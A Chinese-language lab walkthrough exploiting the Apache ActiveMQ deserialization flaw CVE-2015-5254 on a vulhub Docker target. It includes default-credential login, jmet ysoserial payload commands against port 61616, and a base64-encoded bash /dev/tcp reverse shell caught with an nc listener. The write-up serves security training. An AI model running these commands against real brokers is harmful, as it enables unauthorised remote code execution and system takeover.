一、漏洞概述CVE-2015-5254 是 Apache ActiveMQ 的一个高危反序列化远程代码执行漏洞影响版本为 ActiveMQ 5.0.0 ~ 5.13.0。漏洞原理 ActiveMQ 默认开放的 61616 端口OpenWire 协议在处理 JMSJava 消息服务消息时会对传入的序列化对象进行反序列化操作。由于没有限制可序列化的类攻击者可以构造特殊的序列化 ObjectMessage 对象当该消息被消费时触发反序列化最终导致任意代码执行。利用条件一是目标 ActiveMQ 版本在 5.0.0 ~ 5.13.0 之间二是61616 端口可访问工作端口消息传输通道三是需要能登录 Web 管理页面8161 端口默认账号密码为 admin/admin点击消息才能触发命令执行。说明 本漏洞需要弱口令登录管理后台并手动点击消息才能触发属于需要用户交互的一类反序列化漏洞。二、环境准备kali Linuxo作为攻击机Ubuntu中安装docker compose并下载vulhub。三、打靶步骤一启动漏洞环境进入CVE-2015-5254目录中在进入root权限#进入CVE-2015-5254目录中 cd vulhub-master/activemq/CVE-2015-5254 #进入root模式 sudo su # 在 CVE-2015-5254 目录下执行 docker compose up -d执行结果Docker 会自动拉取 ActiveMQ 5.11.1 镜像并启动容器该镜像内置了存在反序列化漏洞的 ActiveMQ 服务。# 查看容器运行状态 docker compose ps确认容器状态为Up端口映射正常8161 和 61616。端口说明8161 端口ActiveMQ Web 管理控制台可通过浏览器访问61616 端口ActiveMQ 工作端口用于 JMS 消息传递也是攻击载荷的入口二目标侦察与信息收集2.1Nmap 端口扫描# 扫描目标开放端口及服务版本 nmap -sV -p 61616,8161 192.168.xx.xx确认两个端口均为开放状态服务识别为 ActiveMQ 相关服务。2.2 浏览器访问管理页面打开浏览器访问http://192.168.xx.xx:8161点击Manage ActiveMQ broker链接使用默认凭据登录账号admin 密码admin登录成功后可以在页面顶部看到ActiveMQ 版本号如 5.11.1确认属于受影响版本范围。三下载攻击工具 jmetjmet是一款集成了ysoserial的 Java 消息利用工具专门用于向 JMS 服务发送恶意序列化 payload。# 在 Kali 上创建工作目录 mkdir ~/activemq-exploit cd ~/activemq-exploit # 下载 jmet jar 包 wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar # 必须创建 external 目录否则运行时会报错 mkdir external重要提示必须在 jmet jar 包同级目录下创建external空文件夹否则执行时会提示目录不存在错误。(四发送恶意载荷创建测试文件首先用touch命令测试漏洞是否可利用java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y touch /tmp/success -Yp ROME 192.168.xx.xx 61616参数详解参数含义-Q event指定队列消息名为event-I ActiveMQ选择装载的 JMS 客户端类型为 ActiveMQ-s启用 ysoserial payload 生成-Y touch /tmp/success指定要执行的命令在 /tmp 目录创建 success 文件-Yp ROME指定 payload 利用链为 ROMEysoserial 中的一种反序列化攻击链192.168.xx.xx 61616指定目标 IP 和 61616 端口执行成功标志输出中包含类似以下的消息 IDINFO: Send successful: ID:kali-xxxxx-xxxxxxxxx-0:1五触发命令执行Web 管理页面返回浏览器在 ActiveMQ 管理页面中点击顶部导航栏的Queues选项卡在队列列表中找到名为event的队列即 Step 4 中用-Q参数指定的名称点击队列名称进入消息列表点击消息 ID与上一步输出的 ID 对应触发反序列化关键理解消息被点击后才触发反序列化这就是为什么需要 Web 管理权限——需要通过浏览器点击消息来消费它。六验证命令执行进入 Docker 容器验证文件是否创建成功# 进入 ActiveMQ 容器 docker compose exec activemq bash # 检查 /tmp/success 文件是否存在 ls -la /tmp/success # 退出容器 exit如果文件存在说明命令成功执行漏洞验证完毕。七反弹 Shell进阶利用7.1 在 Kali 上开启 nc 监听# 在攻击机上监听 1234 端口 nc -lvnp 12347.2 生成反弹 Shell 命令并 Base64 编码由于反弹 Shell 命令中包含特殊字符、等建议先进行 Base64 编码# 原始反弹 Shell 命令将 IP 替换为你的 Kali IP echo bash -i /dev/tcp/192.168.xx.xx/1234 01 | base64复制输出的 Base64 编码字符串。7.3 发送反弹 Shell 载荷java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y bash -c {echo,Base64编码字符串}|{base64,-d}|{bash,-i} -Yp ROME 192.168.xx.xx 61616命令解释bash -c {echo,...}|{base64,-d}|{bash,-i}先将 Base64 编码的命令解码再通过管道传给 bash 执行避免特殊字符转义问题替换Base64编码字符串为上一步生成的编码内容7.4 触发并获取 Shell回到浏览器管理页面进入Queues → event点击新生成的消息 ID。回到 nc 监听终端你将获得目标容器的反弹 Shell# 查看当前用户通常为 root因为 Docker 容器默认以 root 运行 whoami id四、完整攻击流程攻击图解┌────────────────────┐ ┌─────────────────────────────┐│ 攻击机 Kali │ │ 靶机 (Docker ActiveMQ) ││ │ │ ││ 1. nmap 扫描 ─────┼──────────►│ 61616 (OpenWire) ││ │ │ 8161 (Web Console) ││ │ │ ││ 2. jmet 发载荷 ───┼──────────►│ 61616 接收恶意序列化消息 ││ │ │ ││ 3. 浏览器登录 ────┼──────────►│ 8161 Web 管理页面 ││ 点击消息触发 │ │ 反序列化恶意对象 ││ │ │ → 执行系统命令 ││ │ │ ││ 4. nc 接收连接 ◄──┼───────────│ 反弹 Shell 回连 │└────────────────────┘ └─────────────────────────────┘